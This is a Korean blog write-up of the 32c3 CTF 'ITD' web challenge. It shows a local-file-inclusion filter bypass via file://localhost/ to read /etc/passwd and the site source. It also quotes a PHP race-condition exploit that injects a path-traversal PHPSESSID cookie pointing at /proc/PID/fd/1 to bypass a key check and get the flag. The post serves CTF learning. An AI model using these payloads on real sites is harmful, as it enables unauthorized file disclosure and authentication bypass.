티스토리 뷰

- ITD


문제 서버가 닫혀있어서 찾아보니 소스를 공개해놓은 것이 있어서 개인 서버에 구축하였다.

http://rnd.do9.kr:8080/

글이 포스팅되어있는 사이트를 볼 수 있다.


위에 ImTooDeep 글을 눌러보면 해당 글의 전문을 확인할 수 있다.

URL에 보면 /?p=ImTooDeep 형태로 데이터를 가져오는 것을 볼 수 있고, 실제로 http://rnd.do9.kr:8080/posts/ImTooDeep로 직접 접근해보면 해당 글의 내용만 나오는 것을 볼 수 있다.


http://rnd.do9.kr:8080/posts/ImTooDeep 직접 접근


File Inclusion에 취약할 것이라고 생각하고 /posts/index.php 파일을 호출해보면 PHP 코드가 일부 깨져서 나오는 것을 확인할 수 있다.


소스 보기를 통해서 보면 깔끔하게 PHP 코드를 볼 수 있다.


file://localhost/var/www/html/posts/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
function filter($v){
  $w = array('<','>','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://');
  $w = implode('|',$w);
  if(preg_match('#' . $w . '#i',$v!== 0){
    die("Die, Die My Darling");
    exit();
  }
  return $v;
}
 
function disable_wrappers(){
    $wrappers=array("php","http","https","ftp","ftps","compress.zlib","compress.bzip2","zip","glob","data");
    foreach($wrappers as $v){
    stream_wrapper_unregister($v);
    }
}
function get_posts(){
    $dir=scandir(".");
    $dir = array_filter(scandir('.'), function($item) {
        return !is_dir('./' . $item);
    });
    $posts=array();
    foreach($dir as $v){
      if($v!=="." && $v!==".." && (strpos($v,'.php')===false)){
        $posts[]=array($v,substr(file_get_contents("$v"),0,100));
      }
    }
    return $posts;
}
 
function get_post($name){
    disable_wrappers();
    return array($name,@file_get_contents(filter($name)));
  }
 
?>
 
<?php
      if(!@$_GET['p']){
        foreach(get_posts() as $v){
          echo '
            <h2><a href="?p='.$v[0].'">'.$v[0].'</a></h2>
            '.$v[1].'
            <p class="date"><img src="images/more.gif" alt="" /> <a href="?p='.$v[0].'">Read more</a> <img src="images/comment.gif" alt="" /> <img src="images/timeicon.gif" alt="" /> 21.02.</p>
            <br />
          ';
        }
      }elseif($v=get_post(@$_GET['p'])){
        echo '
            <h2>'.$v[0].'</h2>
            '.$v[1].'
            <p class="date"><img src="images/more.gif" alt="" /> <a href="./">Back</a> </p>
            <br />
          ';
      }
?>
cs


코드를 확인해보면 PHP Wrappers와 상대경로(..을 이용하여 접근)로 접근할 수 없도록 필터를 걸어놓은 것을 확인할 수 있다.

간단하게 file:///etc/passwd 로 접근을 해보면 Die, Die My Darling이 표시되면서 안되는 것을 볼 수 있다.


하지만, 다른 Wrappers와 다르게 file은 file:///로 되어있는 것을 확인할 수 있다.

이 부분은 file://localhost/로 우회하여 접근할 수 있다.

file://localhost/etc/passwd로 접근해보면 정상적으로 /etc/passwd 파일을 호출해오는 것을 확인할 수 있다.


동일한 방법으로 이번에는 /posts/index.php 파일이 아니라 /index.php 파일을 확인해보았다.

file://localhost/var/www/html/index.php


소스 보기를 해보면 숨어있는 관리자 페이지와 접근하는데 필요한 쿠키 값을 확인할 수 있다.


file://localhost/var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
 
if(isset($_COOKIE['admin'])){
  if($_COOKIE['admin'=== 'yES, i AM.'){
    header('Location: Ube3rS4xureAdmin/');
    exit();
  }
}
 
header('Location: posts/');
exit();
 
cs


확인한 정보를 가지고 관리자 페이지에 접근해보면 Key 값을 요구한다.


key를 1234 넣어보면 You lost, All Roads They Lead To Shame :>가 표시되면서 인증이 되지 않는다.


정보를 더 획득하기 위해서 /Ube3rS4xureAdmin/index.php 파일을 확인하였다.


소스 보기를 해보면 /Ube3rS4xureAdmin/sess.php 파일과 /load.php 파일이 있다는 것을 알 수 있고, act=get&key=??? 을 GET 파라미터로 전송하면 서버에 있는 main 실행파일에 key 값이 파라미터로 입력되어 실행이 된다. 그리고 실행 결과 중 LOOSE라는 문자열이 있으면 인증에 실패를 하고, 그렇지 않을 경우에는 인증에 성공하여 flag 값을 확인할 수 있다.


file://localhost/var/www/html/Ube3rS4xureAdmin/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once 'sess.php';
require_once '../load.php';
 
if(isset($_GET['lang']) and (is_string($_GET['lang']))){
  $_SESSION['lang'= filter($_GET['lang']);
}
if(isset($_GET['act']) and (is_string($_GET['act']))){
  $act = $_GET['act'];
  if ($act === 'get'){
    if(isset($_GET['key']) and (is_string($_GET['key']))){
      $key = $_GET['key'];
      $ret = shell_exec('./main ' . md5($key));
      if(preg_match('/LOOSE/',$ret))
        echo "You lost, All Roads They Lead To Shame :> ";
      else {
    echo "Hello, it's flag: ";
    echo shell_exec('./get');
    exit();
      }
    }
  }
}
?>
cs


위에서 확인한 경로를 통해서 load.php 파일을 확인해보면 필터 부분을 볼 수 있다.

file://localhost/var/www/html/load.php


마찬가지로 sess.php 파일을 확인해보면 세션 id를 입력받아서 생성하고 쓰고 하는 부분을 볼 수 있다.

file://localhost/var/www/html/Ube3rS4xureAdmin/sess.php




여기서부터는 정확한 이해가 아닌 코드를 통해 추측을 통해서 작성하였습니다.

exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
/*
** 32c3-ITD exploit
** run with:
** while true; do php itdpen.php; done
** ( yeah php :> )
** @fearg0t
*/
  $pid = file_get_contents('http://192.168.138.128/posts/?p=file://localhost/proc/loadavg');
  preg_match('/[0-9]+\/[0-9]+ ([0-9]+)/',$pid,$m);
  $pid = intval($m[1])+6// Tweak this (higher values for high server load, 1 for localhost)
  echo '.';
  $p = pcntl_fork();
  if ($p == -1) {
       die('could not fork');
  }
  else if ($p)
  {
      pcntl_fork();
      $result = file_get_contents('http://192.168.138.128/Ube3rS4xureAdmin/?act=get&key=123123');
      if(preg_match('/flag/',$result,$m=== 1){
          echo "\n";
        echo $result;
          echo "Ctrl-c";
      }
  }
  else
  {
       $opts = array(
        'http'=>array(
          'method'=>"GET",
          'header'=>"Accept-language: en\r\n" .
                    "Cookie: PHPSESSID=/../../../../../../../../../../../proc/".$pid."/fd/1\r\n"
        )
      );
     // usleep(500);
      $context = stream_context_create($opts);
      $file = file_get_contents('http://192.168.138.128/Ube3rS4xureAdmin/?lang=X'false$context);
  }
cs


먼저 file://localhost/proc/loadavg 를 호출해보면 0.00 0.06 0.11 3/636 40393 값을 확인할 수 있다. (요청할 때마다 다름)

/proc/loadavg 는 순서대로 1분, 5분, 15분 동안 Load Average(Run Queue와 I/O Wating 상태의 CPU 사용량 평균 값) 값과 현재 CPU가 수행하고 있는 쓰레드 수 / 커널 스케줄러 목록에 있는 총 스레드 수이고 마지막 값은 가장 최근에 실행한 PID+1 값을 나타낸다.


preg_match('/[0-9]+\/[0-9]+ ([0-9]+)/',$pid,$m);

$pid = intval($m[1])+6;

그리고 정규표현식을 통해서 PID 값만 추출하여 6을 더해준다. (미리 선점하기 위해서 값을 증가시켜 준다. 반드시 6이 아니더라도 상관 없음)


그리고 $p = pcntl_fork();를 통해서 자식 프로세스는 17 라인에 있는 분기가 실행되고 부모 프로세스는 27 라인에 있는 분기가 실행이 된다.

자식 프로세스는 pcntl_fork();를 통해서 다시 분할이 되어 실행이 된다.


자식 프로세스 쪽은 관리자 페이지 인증을 시도하여 main(shell_exec('./main ' . md5($key));)이 실행되도록 하고, 부모 프로세스 쪽은 쿠키에 PHPSESSID=/../../../../../../../../../../../proc/".$pid."/fd/1을 삽입을 하여 요청을 한다.


쉽게 이해하기 위해서 /proc/loadavg 값을 통해서 추출한 PID 값이 10000 이라고 가정할 때, 6을 더해서 10006 값을 부모 프로세스에게 전달하고 부모 프로세스는 /../../../../../../proc/10006/fd/1를 쿠키에 삽입하여 요청을 한다. 그리고 서버에서 세션을 관리하는 sess.php 코드를 보면 알 수 있듯이 세션 ID를 가지고 파일을 생성하게 된다. 그렇게 되면 세션이 저장되는 위치가 아닌 /proc/10006/fd/1에 파일이 생성이 된다.

그와 동시에 자식 프로세스는 관리자 페이지 인증을 시도하기 때문에 main 프로그램이 실행되는 프로세스가 생성이 된다.

만약, 부모 프로세스가 생성한 PID 값과 main 프로그램이 실행되는 PID 값이 같을 경우 해당 프로세스의 File Descriptionstdout(1)이 정상적으로 처리가 안되면서 main 프로그램은 출력을 정상적으로 할 수가 없는 상태가 된다.

따라서, 인증에 실패할 경우 정상적으로는 LOOSE를 출력해야하지만 위와 같은 상태가 되면 출력을 정상적으로 못하기 때문에 인증을 우회하여 flag 값이 출력이 된다.


해당 내용은 코드와 몇 가지 테스트를 통해서 작성되었기 때문에 잘못된 설명이 있을 수 있습니다.


이러한 내용을 토대로 Python 코드를 작성해서 실행해보면 flag를 확인할 수 있다. (위 PHP Exploit code도 정상적으로 flag 확인 가능)


Hello, it's flag: 32c3-ITruSTDocS$$


더보기


댓글
댓글쓰기 폼
«   2019/03   »
          1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31            
링크
공지사항
Total
70,680
Today
4
Yesterday
68